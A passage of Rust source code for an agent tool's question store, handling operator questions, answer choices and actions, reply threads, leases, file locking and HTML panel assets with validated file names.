1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 ResumeRun {
258 run: String,
260 },
261 ReleaseTask {
263 task: String,
265 held_at: jiff::Timestamp,
267 reason: Option<String>,
269 },
270 RerunChecks {
272 repo: PathBuf,
274 pr: String,
276 head: String,
278 runs: Vec<String>,
280 },
281 AbandonRun {
283 run: String,
285 },
286 Requeue,
288 Hold,
290 Done,
292}
293
294impl ChoiceAction {
295 pub fn maintenance(&self) -> bool {
297 matches!(
298 self,
299 Self::ResumeRun { .. }
300 | Self::ReleaseTask { .. }
301 | Self::RerunChecks { .. }
302 | Self::AbandonRun { .. }
303 )
304 }
305
306 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
311 let split = spec
312 .find("={")
313 .map(|at| (&spec[..at], &spec[at + 1..]))
314 .or_else(|| spec.rsplit_once('='));
315 let Some((label, verb)) = split else {
316 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
317 };
318 let label = label.trim();
319 if label.is_empty() {
320 bail!("`--action {spec}` names no choice before `=`");
321 }
322 let verb = verb.trim();
323 if verb.starts_with('{') {
324 let action = serde_json::from_str(verb).context("parse typed choice action")?;
325 return Ok((label.to_owned(), action));
326 }
327 let action = match verb.split_once(':') {
328 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
329 run: run.trim().into(),
330 },
331 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
332 run: run.trim().into(),
333 },
334 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
335 run: run.trim().to_owned(),
336 },
337 None if verb == "resume" => {
338 if default_run.is_empty() {
339 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
340 }
341 Self::Resume {
342 run: default_run.to_owned(),
343 }
344 }
345 None if verb == "requeue" => Self::Requeue,
346 None if verb == "hold" => Self::Hold,
347 None if verb == "done" => Self::Done,
348 _ => bail!(
349 "unknown action `{verb}` in `--action {spec}`; \
350 use resume[:<run>], requeue, hold or done"
351 ),
352 };
353 Ok((label.to_owned(), action))
354 }
355
356 pub fn matches_alias(&self, input: &str) -> bool {
359 let input = input.trim();
360 match self {
361 Self::Resume { run } => {
362 [
363 "resume",
364 "resume run",
365 "resume-run",
366 "再開",
367 "実行再開",
368 "実行を再開",
369 "実行を再開する",
370 ]
371 .iter()
372 .any(|alias| input.eq_ignore_ascii_case(alias))
373 || [
374 format!("resume {run}"),
375 format!("resume:{run}"),
376 format!("resume run {run}"),
377 format!("resume {}", short(run)),
378 format!("resume run {}", short(run)),
379 ]
380 .iter()
381 .any(|alias| input.eq_ignore_ascii_case(alias))
382 }
383 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
384 .iter()
385 .any(|alias| input.eq_ignore_ascii_case(alias)),
386 _ => false,
387 }
388 }
389
390 pub fn describe(&self) -> String {
392 match self {
393 Self::Resume { run } => format!("resume run {}", short(run)),
394 Self::ResumeRun { run } => format!("resume run {}", short(run)),
395 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
396 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
397 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
398 Self::Requeue => "requeue the task".to_owned(),
399 Self::Hold => "hold the task until the operator releases it".to_owned(),
400 Self::Done => "mark the task done".to_owned(),
401 }
402 }
403}
404
405pub fn parse_actions(
408 specs: &[String],
409 choices: &[String],
410 default_run: &str,
411) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
412 let mut out = std::collections::BTreeMap::new();
413 for spec in specs {
414 let (label, action) = ChoiceAction::parse(spec, default_run)?;
415 if !choices.contains(&label) {
416 bail!(
417 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
418 choices.join(", ")
419 );
420 }
421 if out.insert(label.clone(), action).is_some() {
422 bail!("more than one --action for `{label}`");
423 }
424 }
425 Ok(out)
426}
427
428#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
439#[serde(rename_all = "lowercase")]
440pub enum Who {
441 Operator,
443 Agent,
446}
447
448#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
456#[serde(deny_unknown_fields)]
457pub struct Turn {
458 pub who: Who,
460 pub body: String,
462 pub at: Timestamp,
464 #[serde(default, skip_serializing_if = "Option::is_none")]
469 pub note: Option<String>,
470}
471
472#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
474#[serde(rename_all = "lowercase")]
475pub enum WaiterKind {
476 Asker,
478 Daemon,
481 Deputy,
485}
486
487#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
499pub struct Deputy {
500 pub brief: String,
503 #[serde(default)]
505 pub agent: String,
506 #[serde(default)]
508 pub seat: Option<crate::agent::SeatState>,
509 #[serde(default)]
512 pub starts: u32,
513}
514
515impl Deputy {
516 pub fn new(brief: String) -> Self {
518 Self {
519 brief,
520 agent: String::new(),
521 seat: None,
522 starts: 0,
523 }
524 }
525}
526
527pub fn deputy_seat_key(id: &str) -> String {
529 format!("deputy-{}", short(id))
530}
531
532#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
537pub struct Waiter {
538 pub kind: WaiterKind,
540 pub since: Timestamp,
542}
543
544#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
553pub struct Lease {
554 pub kind: WaiterKind,
556 pub pid: u32,
558 pub beat_at: Timestamp,
560}
561
562impl Lease {
563 pub fn fresh(&self, now: Timestamp) -> bool {
565 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
566 }
567}
568
569#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
571#[serde(deny_unknown_fields)]
572pub struct Question {
573 pub schema: u32,
575 pub id: String,
578 pub run: String,
580 pub node: String,
582 pub seat: String,
585 pub summary: String,
588 pub detail: String,
591 #[serde(default, skip_serializing_if = "Option::is_none")]
593 pub posting_comparison: Option<crate::github_text::PostingComparison>,
594 pub choices: Vec<String>,
598 #[serde(default)]
600 pub merge_target: Option<crate::merge_decision::Target>,
601 #[serde(default)]
603 pub routed_task: Option<String>,
604 #[serde(default)]
606 pub routed_chat: Option<String>,
607 #[serde(default, skip_serializing_if = "Option::is_none")]
610 pub publication_title: Option<String>,
611 #[serde(default)]
615 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
616 #[serde(default)]
623 pub panel: bool,
624 #[serde(default)]
631 pub assets: Vec<String>,
632 pub status: QuestionStatus,
634 pub asked_at: Timestamp,
636 #[serde(default)]
638 pub triage_generation: Option<u64>,
639 pub answered_at: Option<Timestamp>,
641 pub answer: Option<Answer>,
643 #[serde(default)]
652 pub thread: Vec<Turn>,
653 #[serde(default)]
668 pub answer_timeout: u64,
669 #[serde(default)]
675 pub cwd: Option<String>,
676 #[serde(default)]
678 pub waiter: Option<Waiter>,
679 #[serde(default)]
683 pub delivered_turns: usize,
684 #[serde(default)]
687 pub answer_delivered: bool,
688 #[serde(default)]
691 pub deputy: Option<Deputy>,
692 #[serde(default)]
696 pub consult: Option<ChatConsult>,
697 #[serde(default, skip_serializing_if = "Option::is_none")]
703 pub answer_authority: Option<LegacyAnswerAuthority>,
704 #[serde(default, skip_serializing_if = "Option::is_none")]
706 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
707 #[serde(default)]
710 pub decision_context: Option<String>,
711}
712
713#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
715pub struct ChatConsult {
716 pub talk: String,
718 pub at: Timestamp,
720}
721
722#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
726pub struct LegacyAnswerAuthority {
727 pub question: String,
729 pub choice: String,
731 pub instruction: String,
733}
734
735impl Question {
736 pub fn run_names_task(&self) -> bool {
739 matches!(
740 self.node.as_str(),
741 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
742 )
743 }
744
745 pub fn new(
748 run: String,
749 node: String,
750 seat: String,
751 summary: String,
752 detail: String,
753 choices: Vec<String>,
754 ) -> Self {
755 Self {
756 schema: SCHEMA,
757 id: new_id(),
758 run,
759 node,
760 seat,
761 summary,
762 detail,
763 posting_comparison: None,
764 choices,
765 merge_target: None,
766 routed_task: None,
767 routed_chat: None,
768 publication_title: None,
769 actions: std::collections::BTreeMap::new(),
770 panel: false,
771 assets: Vec::new(),
772 status: QuestionStatus::Open,
773 asked_at: Timestamp::now(),
774 triage_generation: None,
775 answered_at: None,
776 answer: None,
777 thread: Vec::new(),
778 answer_timeout: 0,
779 cwd: None,
780 waiter: None,
781 delivered_turns: 0,
782 answer_delivered: false,
783 deputy: None,
784 consult: None,
785 answer_authority: None,
786 consult_outcome: None,
787 decision_context: None,
788 }
789 }
790
791 pub fn short(&self) -> &str {
793 short(&self.id)
794 }
795
796 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
799 match (&self.status, &self.answer) {
800 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
801 _ => None,
802 }
803 }
804
805 pub fn free_text(&self) -> bool {
807 self.choices.is_empty()
808 }
809
810 pub fn reply_guidance(&self) -> String {
813 self.choices
814 .iter()
815 .map(|label| {
816 let aliases: Vec<_> = ["resume-run", "keep-held"]
817 .into_iter()
818 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
819 .collect();
820 let exact = serde_json::to_string(label).expect("serialize label");
821 let reply = if aliases.is_empty() {
822 format!("exact label: {exact}")
823 } else {
824 format!(
825 "exact label: {exact}; accepted aliases: {}",
826 aliases.join(", ")
827 )
828 };
829 match self.actions.get(label) {
830 Some(action) => {
831 format!("{reply}; effect (not reply text): {}", action.describe())
832 }
833 None => reply,
834 }
835 })
836 .collect::<Vec<_>>()
837 .join("\n")
838 }
839
840 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
843 if self.free_text() || self.choices.iter().any(|c| c == reply) {
844 return Ok(reply);
845 }
846 if ChoiceAction::Hold.matches_alias(reply)
847 && let Some(label) = self
848 .choices
849 .iter()
850 .find(|label| crate::triage::contextual_keep_held(self, label))
851 {
852 return Ok(label);
853 }
854 let matches: Vec<_> = self
855 .actions
856 .iter()
857 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
858 .collect();
859 match matches.as_slice() {
860 [(label, _)] => Ok(label.as_str()),
861 [] => bail!(
862 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
863 serde_json::to_string(&self.choices).expect("serialize labels")
864 ),
865 _ => bail!(
866 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
867 ),
868 }
869 }
870
871 pub fn answer(&mut self, answer: Answer) -> Result<()> {
881 self.answer_inner(answer)
882 }
883
884 pub(crate) fn answer_chat_button(
886 &mut self,
887 answer: Answer,
888 talk: &str,
889 head: &str,
890 ) -> Result<()> {
891 anyhow::ensure!(
892 self.routed_chat.as_deref() == Some(talk),
893 "wrong approval chat"
894 );
895 anyhow::ensure!(
896 self.merge_target.as_ref().is_some_and(|t| t.head == head),
897 "stale approval head"
898 );
899 self.answer_inner(answer)
900 }
901
902 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
903 match self.status {
904 QuestionStatus::Answered => bail!(
905 "question {} was already answered; the run has moved on and a \
906 second answer would be a decision nobody acted on",
907 self.short()
908 ),
909 QuestionStatus::Abandoned => bail!(
910 "question {} was abandoned and the run behind it is gone",
911 self.short()
912 ),
913 QuestionStatus::Open => {}
914 }
915 let body = match &answer {
916 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
917 };
918 if body.trim().is_empty() {
919 bail!(
920 "question {} needs an answer; an empty one tells the agent \
921 nothing and it would guess anyway",
922 self.short()
923 );
924 }
925 match &answer {
926 Answer::Choice(c) if self.free_text() => bail!(
927 "question {} asks for free text, so `{c}` cannot be a choice \
928 it offered",
929 self.short()
930 ),
931 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
932 "`{c}` is not one of the choices question {} offers: {}",
933 self.short(),
934 self.choices.join(", ")
935 ),
936 Answer::Text(_) if !self.free_text() => bail!(
937 "question {} is multiple choice; answer with one of: {}",
938 self.short(),
939 self.choices.join(", ")
940 ),
941 _ => {}
942 }
943 if body.eq_ignore_ascii_case(crate::land::HOLD)
946 && self
947 .actions
948 .get(body)
949 .is_some_and(|a| *a != ChoiceAction::Hold)
950 {
951 bail!("hold cannot execute a question action");
952 }
953 self.answered_at = Some(Timestamp::now());
954 self.answer = Some(answer);
955 self.status = QuestionStatus::Answered;
956 Ok(())
957 }
958
959 pub fn abandon(&mut self, why: impl Into<String>) {
971 if !self.status.open() {
972 return;
973 }
974 self.status = QuestionStatus::Abandoned;
975 let why = why.into();
976 let why = why.trim();
977 if why.is_empty() {
978 return;
979 }
980 if !self.detail.is_empty() {
981 self.detail.push('\n');
982 }
983 self.detail.push_str("\n_Abandoned: ");
984 self.detail.push_str(why);
985 self.detail.push_str("._\n");
986 }
987
988 pub fn resolution(&self) -> Option<String> {
995 match (self.status, &self.answer) {
996 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
997 Some(a.clone())
998 }
999 _ => None,
1000 }
1001 }
1002
1003 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1015 if self.routed_task.is_some() {
1016 bail!("task decisions are handled by the task chat, not a deputy");
1017 }
1018 let Some(deputy) = &self.deputy else {
1019 bail!("question {} has no deputy", self.short());
1020 };
1021 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1022 if own != Some(seat) {
1023 bail!("only the deputy of question {} may settle it", self.short());
1024 }
1025 if !self.choices.iter().any(|c| c == label) {
1026 bail!(
1027 "`{label}` is not one of the choices offered on question {}",
1028 self.short()
1029 );
1030 }
1031 self.answer(Answer::Choice(label.to_owned()))?;
1032 self.thread.push(Turn {
1033 who: Who::Agent,
1034 body: format!("Settled as `{label}` on the owner's words."),
1035 at: Timestamp::now(),
1036 note: note
1037 .map(str::trim)
1038 .filter(|n| !n.is_empty())
1039 .map(str::to_owned),
1040 });
1041 self.delivered_turns = self.thread.len();
1042 Ok(())
1043 }
1044
1045 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1056 match self.status {
1057 QuestionStatus::Answered => bail!(
1058 "question {} was already answered; there is nothing left to \
1059 discuss",
1060 self.short()
1061 ),
1062 QuestionStatus::Abandoned => bail!(
1063 "question {} was abandoned and the run behind it is gone",
1064 self.short()
1065 ),
1066 QuestionStatus::Open => {}
1067 }
1068 let body = body.into();
1069 if body.trim().is_empty() {
1070 bail!("a message to question {} cannot be empty", self.short());
1071 }
1072 self.thread.push(Turn {
1073 who: Who::Operator,
1074 body,
1075 at: Timestamp::now(),
1076 note: None,
1077 });
1078 Ok(())
1079 }
1080
1081 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1091 match self.status {
1092 QuestionStatus::Answered => bail!(
1093 "question {} was already answered; replying now would not \
1094 reach anyone",
1095 self.short()
1096 ),
1097 QuestionStatus::Abandoned => bail!(
1098 "question {} was abandoned and the run behind it is gone",
1099 self.short()
1100 ),
1101 QuestionStatus::Open => {}
1102 }
1103 let body = body.into();
1104 if body.trim().is_empty() {
1105 bail!("a reply to question {} cannot be empty", self.short());
1106 }
1107 self.actions.retain(|label, _| choices.contains(label));
1109 self.choices = choices;
1110 let unread = self.unread_from_owner().is_some();
1111 self.thread.push(Turn {
1112 who: Who::Agent,
1113 body,
1114 at: Timestamp::now(),
1115 note: None,
1116 });
1117 if !unread {
1121 self.delivered_turns = self.thread.len();
1122 }
1123 Ok(())
1124 }
1125
1126 pub fn unread_from_owner(&self) -> Option<String> {
1133 if !self.status.open() {
1134 return None;
1135 }
1136 let said = self.undelivered_owner_turns();
1137 (!said.is_empty()).then(|| said.join("\n\n"))
1138 }
1139
1140 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1146 let from = self.delivered_turns.min(self.thread.len());
1147 self.thread[from..]
1148 .iter()
1149 .filter(|t| t.who == Who::Operator)
1150 .map(|t| t.body.as_str())
1151 .collect()
1152 }
1153
1154 pub fn last_activity(&self) -> i64 {
1158 self.thread
1159 .iter()
1160 .map(|t| t.at.as_second())
1161 .max()
1162 .unwrap_or(0)
1163 .max(self.asked_at.as_second())
1164 }
1165
1166 pub fn waiting_on_agent(&self) -> bool {
1175 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1176 }
1177
1178 fn should_notify(&self, now: Timestamp) -> bool {
1186 let Some(last) = self
1187 .thread
1188 .iter()
1189 .rev()
1190 .find(|t| t.who == Who::Operator)
1191 .map(|t| t.at)
1192 else {
1193 return true;
1194 };
1195 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1196 }
1197}
1198
1199#[derive(Debug, Clone)]
1201pub struct Questions {
1202 root: PathBuf,
1203}
1204
1205impl Questions {
1206 pub fn open() -> Self {
1208 Self::at(crate::run::home().join("questions"))
1209 }
1210
1211 pub fn at(root: PathBuf) -> Self {
1214 Self { root }
1215 }
1216
1217 pub fn root(&self) -> &Path {
1219 &self.root
1220 }
1221
1222 pub fn path_of(&self, id: &str) -> PathBuf {
1224 self.root.join(format!("{id}.json"))
1225 }
1226
1227 pub fn panel_dir(&self, id: &str) -> PathBuf {
1229 self.root.join(format!("{id}{PANEL_DIR}"))
1230 }
1231
1232 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1256 if !valid_asset_name(&q.id) {
1257 bail!(
1258 "question id `{}` is not a name magi will build a panel path from",
1259 q.id
1260 );
1261 }
1262 if html.trim().is_empty() {
1263 bail!(
1264 "question {} was handed an empty panel; an empty frame reads to \
1265 the owner as \"the agent had nothing to say\", which is a lie",
1266 q.short()
1267 );
1268 }
1269
1270 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1273 for src in assets {
1274 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1275 if !valid_asset_name(name) {
1276 bail!(
1277 "panel asset `{}` cannot be stored: a panel file name must \
1278 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1279 src.display()
1280 );
1281 }
1282 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1283 bail!(
1284 "two panel assets are both named `{name}` - {} and {} - and \
1285 the panel can only show one of them; rename one at the source",
1286 first.display(),
1287 src.display()
1288 );
1289 }
1290 named.push((name.to_owned(), src.as_path()));
1291 }
1292
1293 let mut total = html.len() as u64;
1294 for (_, src) in &named {
1295 let meta = std::fs::metadata(src)
1296 .with_context(|| format!("stat panel asset {}", src.display()))?;
1297 if !meta.is_file() {
1298 bail!(
1299 "panel asset `{}` is not a file; a panel is html plus files \
1300 copied beside it",
1301 src.display()
1302 );
1303 }
1304 total = total.saturating_add(meta.len());
1305 }
1306 if total > PANEL_MAX_BYTES {
1307 bail!(
1308 "panel for question {} is {total} bytes, over magi's cap of \
1309 {PANEL_MAX_BYTES} bytes; nothing was written",
1310 q.short()
1311 );
1312 }
1313
1314 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1315 let dir = self.panel_dir(&q.id);
1316 std::fs::create_dir_all(&self.root)
1317 .with_context(|| format!("create {}", self.root.display()))?;
1318 clear_dir(&tmp)?;
1319 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1320 if let Err(e) = fill_panel(&tmp, html, &named) {
1321 let _ = std::fs::remove_dir_all(&tmp);
1324 return Err(e);
1325 }
1326 clear_dir(&dir)?;
1327 std::fs::rename(&tmp, &dir)
1328 .with_context(|| format!("move panel into {}", dir.display()))?;
1329
1330 q.panel = true;
1331 q.assets = named.into_iter().map(|(n, _)| n).collect();
1332 q.assets.sort_unstable();
1333 Ok(())
1334 }
1335
1336 pub fn panel_html(&self, id: &str) -> Option<String> {
1342 if !valid_asset_name(id) {
1343 return None;
1344 }
1345 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1346 }
1347
1348 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1359 if !valid_asset_name(name) {
1360 bail!(
1361 "`{name}` is not a panel file name; it must match \
1362 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1363 );
1364 }
1365 if !valid_asset_name(id) {
1366 return Ok(None);
1367 }
1368 let dir = self.panel_dir(id);
1369 if !dir.is_dir() {
1370 return Ok(None);
1371 }
1372 let path = dir.join(name);
1373 match std::fs::read(&path) {
1374 Ok(bytes) => Ok(Some(bytes)),
1375 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1376 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1377 }
1378 }
1379
1380 pub fn drop_panel(&self, id: &str) -> Result<()> {
1389 if !valid_asset_name(id) {
1390 bail!("question id `{id}` is not a name magi will build a panel path from");
1391 }
1392 clear_dir(&self.panel_dir(id))?;
1393 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1394 }
1395
1396 pub fn lease_path(&self, id: &str) -> PathBuf {
1398 self.root.join(format!("{id}.lease"))
1399 }
1400
1401 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1403 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1404 serde_json::from_str(&body).ok()
1405 }
1406
1407 pub fn beat(&self, id: &str, kind: WaiterKind) {
1414 let lease = Lease {
1415 kind,
1416 pid: std::process::id(),
1417 beat_at: Timestamp::now(),
1418 };
1419 let path = self.lease_path(id);
1420 let tmp = path.with_extension("lease.tmp");
1421 let written = std::fs::create_dir_all(&self.root)
1422 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1423 .and_then(|()| std::fs::rename(&tmp, &path));
1424 if let Err(e) = written {
1425 tracing::debug!("could not beat the lease on question {id}: {e}");
1426 }
1427 }
1428
1429 pub fn drop_lease(&self, id: &str) {
1431 let _ = std::fs::remove_file(self.lease_path(id));
1432 }
1433
1434 pub fn update<T>(
1445 &self,
1446 id: &str,
1447 f: impl FnOnce(&mut Question) -> Result<T>,
1448 ) -> Result<(Question, T)> {
1449 std::fs::create_dir_all(&self.root)
1450 .with_context(|| format!("create {}", self.root.display()))?;
1451 let lock = self.root.join(format!("{id}.lock"));
1452 let started = std::time::Instant::now();
1453 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1454 loop {
1455 match retry.create(&lock) {
1456 Ok(_) => break,
1457 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1458 let stale = std::fs::metadata(&lock)
1459 .and_then(|m| m.modified())
1460 .ok()
1461 .and_then(|t| t.elapsed().ok())
1462 .is_some_and(|age| age > LOCK_STALE);
1463 if stale {
1464 let _ = std::fs::remove_file(&lock);
1465 } else if started.elapsed() > LOCK_STALE {
1466 bail!("could not lock question {id}");
1467 } else {
1468 std::thread::sleep(Duration::from_millis(15));
1469 }
1470 }
1471 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1472 }
1473 }
1474 struct Unlock(PathBuf);
1475 impl Drop for Unlock {
1476 fn drop(&mut self) {
1477 let _ = std::fs::remove_file(&self.0);
1478 }
1479 }
1480 let _guard = Unlock(lock);
1481 let mut q = read_path(&self.path_of(id))?;
1482 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1483 let out = f(&mut q)?;
1484 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1485 let home = self.root.parent().context("question store has no home")?;
1486 crate::merge_decision::dismiss(home, &q)?;
1487 }
1488 self.put(&mut q)?;
1489 Ok((q, out))
1490 }
1491
1492 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1495 anyhow::ensure!(
1496 q.actions.keys().all(|c| q.choices.contains(c)),
1497 "question action names an unoffered choice"
1498 );
1499 for label in &q.choices {
1500 anyhow::ensure!(
1501 crate::choice_effect::describe(q, label).is_some(),
1502 "question node {} offers an unsupported choice: {label}",
1503 q.node
1504 );
1505 }
1506 self.put(q)
1507 }
1508
1509 pub fn put(&self, q: &mut Question) -> Result<()> {
1513 if q.status.open()
1514 && q.routed_task.is_none()
1515 && let Some(home) = self.root.parent()
1516 {
1517 let tasks = crate::queue::Queue::at(home.join("queue")).list();
1518 q.routed_task = crate::task_chat::task_of(q, &tasks).filter(|id| {
1519 crate::task_chat::chat_routable(q) && crate::task_chat::enabled_for(&tasks, id)
1520 });
1521 }
1522 std::fs::create_dir_all(&self.root)
1523 .with_context(|| format!("create {}", self.root.display()))?;
1524 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1525 let path = self.path_of(&q.id);
1526 let tmp = path.with_extension("json.tmp");
1527 let is_new = !path.exists();
1528 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1529 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1530 if is_new
1533 && q.status.open()
1534 && q.node != crate::bump::NOTICE_NODE
1535 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1536 {
1537 crate::notices::quiet_for(home, q);
1538 }
1539 Ok(())
1540 }
1541
1542 pub fn get(&self, id: &str) -> Result<Question> {
1544 let resolved = self.resolve_id(id)?;
1545 let q = read_path(&self.path_of(&resolved))?;
1546 Ok(self.with_repair_choice(q))
1547 }
1548
1549 fn with_repair_choice(&self, mut q: Question) -> Question {
1550 if q.status.open()
1553 && q.merge_target.is_none()
1554 && let Some(home) = self.root.parent()
1555 && let Some(target) = crate::release_watch::approval_target(home, &q)
1556 && let Ok((current, ())) = self.update(&q.id, |current| {
1557 if current.status.open() && current.merge_target.is_none() {
1558 current.merge_target = Some(target.clone());
1559 }
1560 Ok(())
1561 })
1562 {
1563 q = current;
1564 }
1565 if q.status.open()
1570 && q.routed_task.is_some()
1571 && !crate::task_chat::chat_routable(&q)
1572 && let Ok((current, ())) =
1573 self.update(&q.id, |current| {
1574 if current.status.open() && !crate::task_chat::chat_routable(current) {
1575 if current.consult.as_ref().is_some_and(|c| {
1576 current.routed_chat.as_deref() == Some(c.talk.as_str())
1577 }) {
1578 current.consult = None;
1579 }
1580 current.routed_task = None;
1581 current.routed_chat = None;
1582 }
1583 Ok(())
1584 })
1585 {
1586 q = current;
1587 }
1588 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1589 && q.node == crate::land::APPROVAL_NODE
1590 && let Some(home) = self.root.parent()
1591 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1592 {
1593 let mut upgraded = q.clone();
1594 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1595 match self.update(&q.id, |current| {
1596 crate::land::upgrade_repair_choice(current, &state);
1597 Ok(())
1598 }) {
1599 Ok((current, ())) => return current,
1600 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1601 }
1602 }
1603 }
1604 q
1605 }
1606
1607 pub fn list(&self) -> Vec<Question> {
1615 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1616 .into_iter()
1617 .flatten()
1618 .flatten()
1619 .map(|e| e.path())
1620 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1621 .filter_map(|p| read_path(&p).ok())
1622 .map(|q| self.with_repair_choice(q))
1623 .collect();
1624 all.sort_unstable_by(|a, b| {
1625 let rank = |q: &Question| u8::from(!q.status.open());
1626 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1627 });
1628 all
1629 }
1630
1631 pub fn open_for(&self, run: &str) -> Vec<Question> {
1637 self.list()
1638 .into_iter()
1639 .filter(|q| q.status.open() && q.run == run)
